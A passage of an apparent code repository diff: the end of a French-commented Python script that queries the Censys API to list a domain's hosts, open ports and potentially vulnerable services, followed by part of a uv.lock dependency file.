return {'ip': ip_address, 'error': str(e), 'ports': [], 'services': [], 'potentially_vulnerable': False}
def scan_domain_censys(domain, token):
"""
Recherche tous les hôtes liés à un domaine via l'API Censys.
"""
url = f"{CENSYS_API_BASE}/global/search/query"
headers = {
"Authorization": f"Bearer {token}",
"Content-Type": "application/json",
"Accept": "application/json"
}
payload = {
"query": f"host.names: {domain}",
"page_size": 50
}
try:
response = requests.post(url, headers=headers, json=payload, timeout=15)
if response.status_code != 200:
print(f"[-] Erreur API ({response.status_code}): {response.text}", file=sys.stderr)
return {'domain': domain, 'hosts': [], 'total_hosts': 0, 'unique_ports': set(), 'vulnerable_hosts': 0}
data = response.json()
hits = data.get('results', [])
hosts = []
unique_ports = set()
vulnerable_hosts = 0
for hit in hits:
ip = hit.get('ip') or hit.get('host.ip')
if not ip:
continue
host_info = search_host_censys(ip, token)
if 'error' in host_info:
continue
unique_ports.update(str(p) for p in host_info['ports'])
if host_info.get('potentially_vulnerable'):
vulnerable_hosts += 1
hosts.append(host_info)
return {
'domain': domain,
'hosts': hosts,
'total_hosts': len(hosts),
'unique_ports': unique_ports,
'vulnerable_hosts': vulnerable_hosts
}
except Exception as e:
print(f"[-] Erreur réseau : {e}", file=sys.stderr)
return {'domain': domain, 'hosts': [], 'total_hosts': 0, 'unique_ports': set(), 'vulnerable_hosts': 0}
def main():
parser = argparse.ArgumentParser(description="Scanner de sous-domaines générique pour l'API Censys")
parser.add_argument("-d", "--domain", default="example.com", help="Domaine cible à analyser")
parser.add_argument("-t", "--token", required=True, help="Votre Censys Personal Access Token")
parser.add_argument("-o", "--output", help="Nom du fichier de sortie JSON")
args = parser.parse_args()
print(f"[*] Démarrage du scan global pour : {args.domain}")
result = scan_domain_censys(args.domain, args.token)
summary = {
'scan_timestamp': datetime.now().isoformat(),
'domain_scanned': args.domain,
'total_hosts_found': result['total_hosts'],
'vulnerable_hosts_found': result['vulnerable_hosts']
}
full_report = {
'summary': summary,
'detailed_results': result['hosts']
}
if args.output:
with open(args.output, 'w', encoding='utf-8') as f:
json.dump(full_report, f, indent=2, ensure_ascii=False)
print(f"[+] Rapport enregistré avec succès dans : {args.output}")
else:
results_print = "RÉSULTATS DE L'AUDIT PASSÉ (CENSYS)"
print(" ")
print("=" * len(results_print))
print(results_print)
print("=" * len(results_print))
print(f"[INFO] Hôtes uniques découverts : {summary['total_hosts_found']}")
print(f"[INFO] Hôtes vulnérables découverts : {summary['vulnerable_hosts_found']}")
print(f"[INFO] Ports distincts ouverts : {', '.join(result.get('unique_ports', []))}")
if __name__ == "__main__":
main()
+302
View File
@@ -0,0 +1,302 @@
version = 1
revision = 3
requires-python = ">=3.12"
[[package]]
name = "argcomplete"
version = "3.6.3"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/38/61/0b9ae6399dd4a58d8c1b1dc5a27d6f2808023d0b5dd3104bb99f45a33ff6/argcomplete-3.6.3.tar.gz", hash = "sha256:62e8ed4fd6a45864acc8235409461b72c9a28ee785a2011cc5eb78318786c89c", size = 73754, upload-time = "2025-10-20T03:33:34.741Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/74/f5/9373290775639cb67a2fce7f629a1c240dce9f12fe927bc32b2736e16dfc/argcomplete-3.6.3-py3-none-any.whl", hash = "sha256:f5007b3a600ccac5d25bbce33089211dfd49eab4a7718da3f10e3082525a92ce", size = 43846, upload-time = "2025-10-20T03:33:33.021Z" },
]
[[package]]
name = "backoff"
version = "2.2.1"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/47/d7/5bbeb12c44d7c4f2fb5b56abce497eb5ed9f34d85701de869acedd602619/backoff-2.2.1.tar.gz", hash = "sha256:03f829f5bb1923180821643f8753b0502c3b682293992485b0eef2807afa5cba", size = 17001, upload-time = "2022-10-05T19:19:32.061Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/df/73/b6e24bd22e6720ca8ee9a85a0c4a2971af8497d8f3193fa05390cbd46e09/backoff-2.2.1-py3-none-any.whl", hash = "sha256:63579f9a0628e06278f7e47b7d7d5b6ce20dc65c5e96a6f3ca99a6adca0396e8", size = 15148, upload-time = "2022-10-05T19:19:30.546Z" },
]
[[package]]
name = "censys"
version = "2.2.19"
source = { registry = "https://pypi.org/simple" }
dependencies = [
{ name = "argcomplete" },
{ name = "backoff" },
{ name = "requests" },
{ name = "rich" },
{ name = "urllib3" },
]
sdist = { url = "https://files.pythonhosted.org/packages/41/aa/ed0d0faf4f7015bac902cdad929f487f9baefd224ab6fa9aba5635dd5d60/censys-2.2.19.tar.gz", hash = "sha256:9202e17c2583d4b3d0af32a5be161ddb505edd390a9ca909f2e7470d4af19a97", size = 62101, upload-time = "2025-12-11T16:08:47.421Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/66/4b/96c1ebc5f8534c18527c81b4df9cdb2a96151010f540ecbb4c9c2af4fee4/censys-2.2.19-py3-none-any.whl", hash = "sha256:eaad49779a3bbe290e244222563a48e78ca33777fbbdf6d329d8b52223fc1084", size = 80582, upload-time = "2025-12-11T16:08:46.368Z" },
]
[[package]]
name = "certifi"
version = "2026.5.20"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/f3/ce/ee2ecad540810a79593028e88299baeae54d346cc7a0d94b6199988b89b1/certifi-2026.5.20.tar.gz", hash = "sha256:69dea482ab64caa7b9f6aba1c6bf48bb6a5448d1c0f1b17ab42ad8c763a5344d", size = 135422, upload-time = "2026-05-20T11:46:50.073Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/59/8c/57e832b7af6d7c5abe66eb3fbe3a3a32f4d11ea23a1aa7131371035be991/certifi-2026.5.20-py3-none-any.whl", hash = "sha256:3c52e209ba0a4ad7aebe60436a4ab349c39e1e602e8c134221e546902ad25897", size = 134134, upload-time = "2026-05-20T11:46:48.578Z" },
]
[[package]]
name = "charset-normalizer"
version = "3.4.7"
source = { registry = "https://pypi.org/simple" }
sdist = { url = "https://files.pythonhosted.org/packages/e7/a1/67fe25fac3c7642725500a3f6cfe5821ad557c3abb11c9d20d12c7008d3e/charset_normalizer-3.4.7.tar.gz", hash = "sha256:ae89db9e5f98a11a4bf50407d4363e7b09b31e55bc117b4f7d80aab97ba009e5", size = 144271, upload-time = "2026-04-02T09:28:39.342Z" }
wheels = [
{ url = "https://files.pythonhosted.org/packages/0c/eb/4fc8d0a7110eb5fc9cc161723a34a8a6c200ce3b4fbf681bc86feee22308/charset_normalizer-3.4.7-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:eca9705049ad3c7345d574e3510665cb2cf844c2f2dcfe675332677f081cbd46", size = 311328, upload-time = "2026-04-02T09:26:24.331Z" },
{ url = "https://files.pythonhosted.org/packages/f8/e3/0fadc706008ac9d7b9b5be6dc767c05f9d3e5df51744ce4cc9605de7b9f4/charset_normalizer-3.4.7-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:6178f72c5508bfc5fd446a5905e698c6212932f25bcdd4b47a757a50605a90e2", size = 208061, upload-time = "2026-04-02T09:26:25.568Z" },
{ url = "https://files.pythonhosted.org/packages/42/f0/3dd1045c47f4a4604df85ec18ad093912ae1344ac706993aff91d38773a2/charset_normalizer-3.4.7-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:e1421b502d83040e6d7fb2fb18dff63957f720da3d77b2fbd3187ceb63755d7b", size = 229031, upload-time = "2026-04-02T09:26:26.865Z" },
{ url = "https://files.pythonhosted.org/packages/dc/67/675a46eb016118a2fbde5a277a5d15f4f69d5f3f5f338e5ee2f8948fcf43/charset_normalizer-3.4.7-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:edac0f1ab77644605be2cbba52e6b7f630731fc42b34cb0f634be1a6eface56a", size = 225239, upload-time = "2026-04-02T09:26:28.044Z" },
{ url = "https://files.pythonhosted.org/packages/4b/f8/d0118a2f5f23b02cd166fa385c60f9b0d4f9194f574e2b31cef350ad7223/charset_normalizer-3.4.7-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:5649fd1c7bade02f320a462fdefd0b4bd3ce036065836d4f42e0de958038e116", size = 216589, upload-time = "2026-04-02T09:26:29.239Z" },
{ url = "https://files.pythonhosted.org/packages/b1/f1/6d2b0b261b6c4ceef0fcb0d17a01cc5bc53586c2d4796fa04b5c540bc13d/charset_normalizer-3.4.7-cp312-cp312-manylinux_2_31_armv7l.whl", hash = "sha256:203104ed3e428044fd943bc4bf45fa73c0730391f9621e37fe39ecf477b128cb", size = 202733, upload-time = "2026-04-02T09:26:30.5Z" },
{ url = "https://files.pythonhosted.org/packages/6f/c0/7b1f943f7e87cc3db9626ba17807d042c38645f0a1d4415c7a14afb5591f/charset_normalizer-3.4.7-cp312-cp312-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:298930cec56029e05497a76988377cbd7457ba864beeea92ad7e844fe74cd1f1", size = 212652, upload-time = "2026-04-02T09:26:31.709Z" },
{ url = "https://files.pythonhosted.org/packages/38/dd/5a9ab159fe45c6e72079398f277b7d2b523e7f716acc489726115a910097/charset_normalizer-3.4.7-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:708838739abf24b2ceb208d0e22403dd018faeef86ddac04319a62ae884c4f15", size = 211229, upload-time = "2026-04-02T09:26:33.282Z" },
{ url = "https://files.pythonhosted.org/packages/d5/ff/531a1cad5ca855d1c1a8b69cb71abfd6d85c0291580146fda7c82857caa1/charset_normalizer-3.4.7-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:0f7eb884681e3938906ed0434f20c63046eacd0111c4ba96f27b76084cd679f5", size = 203552, upload-time = "2026-04-02T09:26:34.845Z" },
{ url = "https://files.pythonhosted.org/packages/c1/4c/a5fb52d528a8ca41f7598cb619409ece30a169fbdf9cdce592e53b46c3a6/charset_normalizer-3.4.7-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:4dc1e73c36828f982bfe79fadf5919923f8a6f4df2860804db9a98c48824ce8d", size = 230806, upload-time = "2026-04-02T09:26:36.152Z" },
{ url = "https://files.pythonhosted.org/packages/59/7a/071feed8124111a32b316b33ae4de83d36923039ef8cf48120266844285b/charset_normalizer-3.4.7-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:aed52fea0513bac0ccde438c188c8a471c4e0f457c2dd20cdbf6ea7a450046c7", size = 212316, upload-time = "2026-04-02T09:26:37.672Z" },
{ url = "https://files.pythonhosted.org/packages/fd/35/f7dba3994312d7ba508e041eaac39a36b120f32d4c8662b8814dab876431/charset_normalizer-3.4.7-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:fea24543955a6a729c45a73fe90e08c743f0b3334bbf3201e6c4bc1b0c7fa464", size = 227274, upload-time = "2026-04-02T09:26:38.93Z" },
{ url = "https://files.pythonhosted.org/packages/8a/2d/a572df5c9204ab7688ec1edc895a73ebded3b023bb07364710b05dd1c9be/charset_normalizer-3.4.7-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:bb6d88045545b26da47aa879dd4a89a71d1dce0f0e549b1abcb31dfe4a8eac49", size = 218468, upload-time = "2026-04-02T09:26:40.17Z" },
{ url = "https://files.pythonhosted.org/packages/86/eb/890922a8b03a568ca2f336c36585a4713c55d4d67bf0f0c78924be6315ca/charset_normalizer-3.4.7-cp312-cp312-win32.whl", hash = "sha256:2257141f39fe65a3fdf38aeccae4b953e5f3b3324f4ff0daf9f15b8518666a2c", size = 148460, upload-time = "2026-04-02T09:26:41.416Z" },
{ url = "https://files.pythonhosted.org/packages/35/d9/0e7dffa06c5ab081f75b1b786f0aefc88365825dfcd0ac544bdb7b2b6853/charset_normalizer-3.4.7-cp312-cp312-win_amd64.whl", hash = "sha256:5ed6ab538499c8644b8a3e18debabcd7ce684f3fa91cf867521a7a0279cab2d6", size = 159330, upload-time = "2026-04-02T09:26:42.554Z" },
{ url = "https://files.pythonhosted.org/packages/9e/5d/481bcc2a7c88ea6b0878c299547843b2521ccbc40980cb406267088bc701/charset_normalizer-3.4.7-cp312-cp312-win_arm64.whl", hash = "sha256:56be790f86bfb2c98fb742ce566dfb4816e5a83384616ab59c49e0604d49c51d", size = 147828, upload-time = "2026-04-02T09:26:44.075Z" },
{ url = "https://files.pythonhosted.org/packages/c1/3b/66777e39d3ae1ddc77ee606be4ec6d8cbd4c801f65e5a1b6f2b11b8346dd/charset_normalizer-3.4.7-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:f496c9c3cc02230093d8330875c4c3cdfc3b73612a5fd921c65d39cbcef08063", size = 309627, upload-time = "2026-04-02T09:26:45.198Z" },
{ url = "https://files.pythonhosted.org/packages/2e/4e/b7f84e617b4854ade48a1b7915c8ccfadeba444d2a18c291f696e37f0d3b/charset_normalizer-3.4.7-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:0ea948db76d31190bf08bd371623927ee1339d5f2a0b4b1b4a4439a65298703c", size = 207008, upload-time = "2026-04-02T09:26:46.824Z" },
{ url = "https://files.pythonhosted.org/packages/c4/bb/ec73c0257c9e11b268f018f068f5d00aa0ef8c8b09f7753ebd5f2880e248/charset_normalizer-3.4.7-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:a277ab8928b9f299723bc1a2dabb1265911b1a76341f90a510368ca44ad9ab66", size = 228303, upload-time = "2026-04-02T09:26:48.397Z" },
{ url = "https://files.pythonhosted.org/packages/85/fb/32d1f5033484494619f701e719429c69b766bfc4dbc61aa9e9c8c166528b/charset_normalizer-3.4.7-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:3bec022aec2c514d9cf199522a802bd007cd588ab17ab2525f20f9c34d067c18", size = 224282, upload-time = "2026-04-02T09:26:49.684Z" },
{ url = "https://files.pythonhosted.org/packages/fa/07/330e3a0dda4c404d6da83b327270906e9654a24f6c546dc886a0eb0ffb23/charset_normalizer-3.4.7-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:e044c39e41b92c845bc815e5ae4230804e8e7bc29e399b0437d64222d92809dd", size = 215595, upload-time = "2026-04-02T09:26:50.915Z" },
{ url = "https://files.pythonhosted.org/packages/e3/7c/fc890655786e423f02556e0216d4b8c6bcb6bdfa890160dc66bf52dee468/charset_normalizer-3.4.7-cp313-cp313-manylinux_2_31_armv7l.whl", hash = "sha256:f495a1652cf3fbab2eb0639776dad966c2fb874d79d87ca07f9d5f059b8bd215", size = 201986, upload-time = "2026-04-02T09:26:52.197Z" },
{ url = "https://files.pythonhosted.org/packages/d8/97/bfb18b3db2aed3b90cf54dc292ad79fdd5ad65c4eae454099475cbeadd0d/charset_normalizer-3.4.7-cp313-cp313-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:e712b419df8ba5e42b226c510472b37bd57b38e897d3eca5e8cfd410a29fa859", size = 211711, upload-time = "2026-04-02T09:26:53.49Z" },
{ url = "https://files.pythonhosted.org/packages/6f/a5/a581c13798546a7fd557c82614a5c65a13df2157e9ad6373166d2a3e645d/charset_normalizer-3.4.7-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:7804338df6fcc08105c7745f1502ba68d900f45fd770d5bdd5288ddccb8a42d8", size = 210036, upload-time = "2026-04-02T09:26:54.975Z" },
{ url = "https://files.pythonhosted.org/packages/8c/bf/b3ab5bcb478e4193d517644b0fb2bf5497fbceeaa7a1bc0f4d5b50953861/charset_normalizer-3.4.7-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:481551899c856c704d58119b5025793fa6730adda3571971af568f66d2424bb5", size = 202998, upload-time = "2026-04-02T09:26:56.303Z" },
{ url = "https://files.pythonhosted.org/packages/e7/4e/23efd79b65d314fa320ec6017b4b5834d5c12a58ba4610aa353af2e2f577/charset_normalizer-3.4.7-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:f59099f9b66f0d7145115e6f80dd8b1d847176df89b234a5a6b3f00437aa0832", size = 230056, upload-time = "2026-04-02T09:26:57.554Z" },
{ url = "https://files.pythonhosted.org/packages/b9/9f/1e1941bc3f0e01df116e68dc37a55c4d249df5e6fa77f008841aef68264f/charset_normalizer-3.4.7-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:f59ad4c0e8f6bba240a9bb85504faa1ab438237199d4cce5f622761507b8f6a6", size = 211537, upload-time = "2026-04-02T09:26:58.843Z" },
{ url = "https://files.pythonhosted.org/packages/80/0f/088cbb3020d44428964a6c97fe1edfb1b9550396bf6d278330281e8b709c/charset_normalizer-3.4.7-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:3dedcc22d73ec993f42055eff4fcfed9318d1eeb9a6606c55892a26964964e48", size = 226176, upload-time = "2026-04-02T09:27:00.437Z" },
{ url = "https://files.pythonhosted.org/packages/6a/9f/130394f9bbe06f4f63e22641d32fc9b202b7e251c9aef4db044324dac493/charset_normalizer-3.4.7-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:64f02c6841d7d83f832cd97ccf8eb8a906d06eb95d5276069175c696b024b60a", size = 217723, upload-time = "2026-04-02T09:27:02.021Z" },
{ url = "https://files.pythonhosted.org/packages/73/55/c469897448a06e49f8fa03f6caae97074fde823f432a98f979cc42b90e69/charset_normalizer-3.4.7-cp313-cp313-win32.whl", hash = "sha256:4042d5c8f957e15221d423ba781e85d553722fc4113f523f2feb7b188cc34c5e", size = 148085, upload-time = "2026-04-02T09:27:03.192Z" },
{ url = "https://files.pythonhosted.org/packages/5d/78/1b74c5bbb3f99b77a1715c91b3e0b5bdb6fe302d95ace4f5b1bec37b0167/charset_normalizer-3.4.7-cp313-cp313-win_amd64.whl", hash = "sha256:3946fa46a0cf3e4c8cb1cc52f56bb536310d34f25f01ca9b6c16afa767dab110", size = 158819, upload-time = "2026-04-02T09:27:04.454Z" },
{ url = "https://files.pythonhosted.org/packages/68/86/46bd42279d323deb8687c4a5a811fd548cb7d1de10cf6535d099877a9a9f/charset_normalizer-3.4.7-cp313-cp313-win_arm64.whl", hash = "sha256:80d04837f55fc81da168b98de4f4b797ef007fc8a79ab71c6ec9bc4dd662b15b", size = 147915, upload-time = "2026-04-02T09:27:05.971Z" },
{ url = "https://files.pythonhosted.org/packages/97/c8/c67cb8c70e19ef1960b97b22ed2a1567711de46c4ddf19799923adc836c2/charset_normalizer-3.4.7-cp314-cp314-macosx_10_15_universal2.whl", hash = "sha256:c36c333c39be2dbca264d7803333c896ab8fa7d4d6f0ab7edb7dfd7aea6e98c0", size = 309234, upload-time = "2026-04-02T09:27:07.194Z" },
{ url = "https://files.pythonhosted.org/packages/99/85/c091fdee33f20de70d6c8b522743b6f831a2f1cd3ff86de4c6a827c48a76/charset_normalizer-3.4.7-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1c2aed2e5e41f24ea8ef1590b8e848a79b56f3a5564a65ceec43c9d692dc7d8a", size = 208042, upload-time = "2026-04-02T09:27:08.749Z" },
{ url = "https://files.pythonhosted.org/packages/87/1c/ab2ce611b984d2fd5d86a5a8a19c1ae26acac6bad967da4967562c75114d/charset_normalizer-3.4.7-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:54523e136b8948060c0fa0bc7b1b50c32c186f2fceee897a495406bb6e311d2b", size = 228706, upload-time = "2026-04-02T09:27:09.951Z" },
{ url = "https://files.pythonhosted.org/packages/a8/29/2b1d2cb00bf085f59d29eb773ce58ec2d325430f8c216804a0a5cd83cbca/charset_normalizer-3.4.7-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:715479b9a2802ecac752a3b0efa2b0b60285cf962ee38414211abdfccc233b41", size = 224727, upload-time = "2026-04-02T09:27:11.175Z" },
{ url = "https://files.pythonhosted.org/packages/47/5c/032c2d5a07fe4d4855fea851209cca2b6f03ebeb6d4e3afdb3358386a684/charset_normalizer-3.4.7-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:bd6c2a1c7573c64738d716488d2cdd3c00e340e4835707d8fdb8dc1a66ef164e", size = 215882, upload-time = "2026-04-02T09:27:12.446Z" },
{ url = "https://files.pythonhosted.org/packages/2c/c2/356065d5a8b78ed04499cae5f339f091946a6a74f91e03476c33f0ab7100/charset_normalizer-3.4.7-cp314-cp314-manylinux_2_31_armv7l.whl", hash = "sha256:c45e9440fb78f8ddabcf714b68f936737a121355bf59f3907f4e17721b9d1aae", size = 200860, upload-time = "2026-04-02T09:27:13.721Z" },
{ url = "https://files.pythonhosted.org/packages/0c/cd/a32a84217ced5039f53b29f460962abb2d4420def55afabe45b1c3c7483d/charset_normalizer-3.4.7-cp314-cp314-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:3534e7dcbdcf757da6b85a0bbf5b6868786d5982dd959b065e65481644817a18", size = 211564, upload-time = "2026-04-02T09:27:15.272Z" },
{ url = "https://files.pythonhosted.org/packages/44/86/58e6f13ce26cc3b8f4a36b94a0f22ae2f00a72534520f4ae6857c4b81f89/charset_normalizer-3.4.7-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:e8ac484bf18ce6975760921bb6148041faa8fef0547200386ea0b52b5d27bf7b", size = 211276, upload-time = "2026-04-02T09:27:16.834Z" },
{ url = "https://files.pythonhosted.org/packages/8f/fe/d17c32dc72e17e155e06883efa84514ca375f8a528ba2546bee73fc4df81/charset_normalizer-3.4.7-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:a5fe03b42827c13cdccd08e6c0247b6a6d4b5e3cdc53fd1749f5896adcdc2356", size = 201238, upload-time = "2026-04-02T09:27:18.229Z" },
{ url = "https://files.pythonhosted.org/packages/6a/29/f33daa50b06525a237451cdb6c69da366c381a3dadcd833fa5676bc468b3/charset_normalizer-3.4.7-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:2d6eb928e13016cea4f1f21d1e10c1cebd5a421bc57ddf5b1142ae3f86824fab", size = 230189, upload-time = "2026-04-02T09:27:19.445Z" },
{ url = "https://files.pythonhosted.org/packages/b6/6e/52c84015394a6a0bdcd435210a7e944c5f94ea1055f5cc5d56c5fe368e7b/charset_normalizer-3.4.7-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:e74327fb75de8986940def6e8dee4f127cc9752bee7355bb323cc5b2659b6d46", size = 211352, upload-time = "2026-04-02T09:27:20.79Z" },
{ url = "https://files.pythonhosted.org/packages/8c/d7/4353be581b373033fb9198bf1da3cf8f09c1082561e8e922aa7b39bf9fe8/charset_normalizer-3.4.7-cp314-cp314-musllinux_1_2_s390x.whl", hash = "sha256:d6038d37043bced98a66e68d3aa2b6a35505dc01328cd65217cefe82f25def44", size = 227024, upload-time = "2026-04-02T09:27:22.063Z" },
{ url = "https://files.pythonhosted.org/packages/30/45/99d18aa925bd1740098ccd3060e238e21115fffbfdcb8f3ece837d0ace6c/charset_normalizer-3.4.7-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:7579e913a5339fb8fa133f6bbcfd8e6749696206cf05acdbdca71a1b436d8e72", size = 217869, upload-time = "2026-04-02T09:27:23.486Z" },
{ url = "https://files.pythonhosted.org/packages/5c/05/5ee478aa53f4bb7996482153d4bfe1b89e0f087f0ab6b294fcf92d595873/charset_normalizer-3.4.7-cp314-cp314-win32.whl", hash = "sha256:5b77459df20e08151cd6f8b9ef8ef1f961ef73d85c21a555c7eed5b79410ec10", size = 148541, upload-time = "2026-04-02T09:27:25.146Z" },
{ url = "https://files.pythonhosted.org/packages/48/77/72dcb0921b2ce86420b2d79d454c7022bf5be40202a2a07906b9f2a35c97/charset_normalizer-3.4.7-cp314-cp314-win_amd64.whl", hash = "sha256:92a0a01ead5e668468e952e4238cccd7c537364eb7d851ab144ab6627dbbe12f", size = 159634, upload-time = "2026-04-02T09:27:26.642Z" },
{ url = "https://files.pythonhosted.org/packages/c6/a3/c2369911cd72f02386e4e340770f6e158c7980267da16af8f668217abaa0/charset_normalizer-3.4.7-cp314-cp314-win_arm64.whl", hash = "sha256:67f6279d125ca0046a7fd386d01b311c6363844deac3e5b069b514ba3e63c246", size = 148384, upload-time = "2026-04-02T09:27:28.271Z" },
{ url = "https://files.pythonhosted.org/packages/94/09/7e8a7f73d24dba1f0035fbbf014d2c36828fc1bf9c88f84093e57d315935/charset_normalizer-3.4.7-cp314-cp314t-macosx_10_15_universal2.whl", hash = "sha256:effc3f449787117233702311a1b7d8f59cba9ced946ba727bdc329ec69028e24", size = 330133, upload-time = "2026-04-02T09:27:29.474Z" },
{ url = "https://files.pythonhosted.org/packages/8d/da/96975ddb11f8e977f706f45cddd8540fd8242f71ecdb5d18a80723dcf62c/charset_normalizer-3.4.7-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:fbccdc05410c9ee21bbf16a35f4c1d16123dcdeb8a1d38f33654fa21d0234f79", size = 216257, upload-time = "2026-04-02T09:27:30.793Z" },
{ url = "https://files.pythonhosted.org/packages/e5/e8/1d63bf8ef2d388e95c64b2098f45f84758f6d102a087552da1485912637b/charset_normalizer-3.4.7-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:733784b6d6def852c814bce5f318d25da2ee65dd4839a0718641c696e09a2960", size = 234851, upload-time = "2026-04-02T09:27:32.44Z" },
{ url = "https://files.pythonhosted.org/packages/9b/40/e5ff04233e70da2681fa43969ad6f66ca5611d7e669be0246c4c7aaf6dc8/charset_normalizer-3.4.7-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:a89c23ef8d2c6b27fd200a42aa4ac72786e7c60d40efdc76e6011260b6e949c4", size = 233393, upload-time = "2026-04-02T09:27:34.03Z" },
{ url = "https://files.pythonhosted.org/packages/be/c1/06c6c49d5a5450f76899992f1ee40b41d076aee9279b49cf9974d2f313d5/charset_normalizer-3.4.7-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:6c114670c45346afedc0d947faf3c7f701051d2518b943679c8ff88befe14f8e", size = 223251, upload-time = "2026-04-02T09:27:35.369Z" },
{ url = "https://files.pythonhosted.org/packages/2b/9f/f2ff16fb050946169e3e1f82134d107e5d4ae72647ec8a1b1446c148480f/charset_normalizer-3.4.7-cp314-cp314t-manylinux_2_31_armv7l.whl", hash = "sha256:a180c5e59792af262bf263b21a3c49353f25945d8d9f70628e73de370d55e1e1", size = 206609, upload-time = "2026-04-02T09:27:36.661Z" },
{ url = "https://files.pythonhosted.org/packages/69/d5/a527c0cd8d64d2eab7459784fb4169a0ac76e5a6fc5237337982fd61347e/charset_normalizer-3.4.7-cp314-cp314t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:3c9a494bc5ec77d43cea229c4f6db1e4d8fe7e1bbffa8b6f0f0032430ff8ab44", size = 220014, upload-time = "2026-04-02T09:27:38.019Z" },
{ url = "https://files.pythonhosted.org/packages/7e/80/8a7b8104a3e203074dc9aa2c613d4b726c0e136bad1cc734594b02867972/charset_normalizer-3.4.7-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:8d828b6667a32a728a1ad1d93957cdf37489c57b97ae6c4de2860fa749b8fc1e", size = 218979, upload-time = "2026-04-02T09:27:39.37Z" },
{ url = "https://files.pythonhosted.org/packages/02/9a/b759b503d507f375b2b5c153e4d2ee0a75aa215b7f2489cf314f4541f2c0/charset_normalizer-3.4.7-cp314-cp314t-musllinux_1_2_armv7l.whl", hash = "sha256:cf1493cd8607bec4d8a7b9b004e699fcf8f9103a9284cc94962cb73d20f9d4a3", size = 209238, upload-time = "2026-04-02T09:27:40.722Z" },
{ url = "https://files.pythonhosted.org/packages/c2/4e/0f3f5d47b86bdb79256e7290b26ac847a2832d9a4033f7eb2cd4bcf4bb5b/charset_normalizer-3.4.7-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:0c96c3b819b5c3e9e165495db84d41914d6894d55181d2d108cc1a69bfc9cce0", size = 236110, upload-time = "2026-04-02T09:27:42.33Z" },
{ url = "https://files.pythonhosted.org/packages/96/23/bce28734eb3ed2c91dcf93abeb8a5cf393a7b2749725030bb630e554fdd8/charset_normalizer-3.4.7-cp314-cp314t-musllinux_1_2_riscv64.whl", hash = "sha256:752a45dc4a6934060b3b0dab47e04edc3326575f82be64bc4fc293914566503e", size = 219824, upload-time = "2026-04-02T09:27:43.924Z" },
{ url = "https://files.pythonhosted.org/packages/2c/6f/6e897c6984cc4d41af319b077f2f600fc8214eb2fe2d6bcb79141b882400/charset_normalizer-3.4.7-cp314-cp314t-musllinux_1_2_s390x.whl", hash = "sha256:8778f0c7a52e56f75d12dae53ae320fae900a8b9b4164b981b9c5ce059cd1fcb", size = 233103, upload-time = "2026-04-02T09:27:45.348Z" },
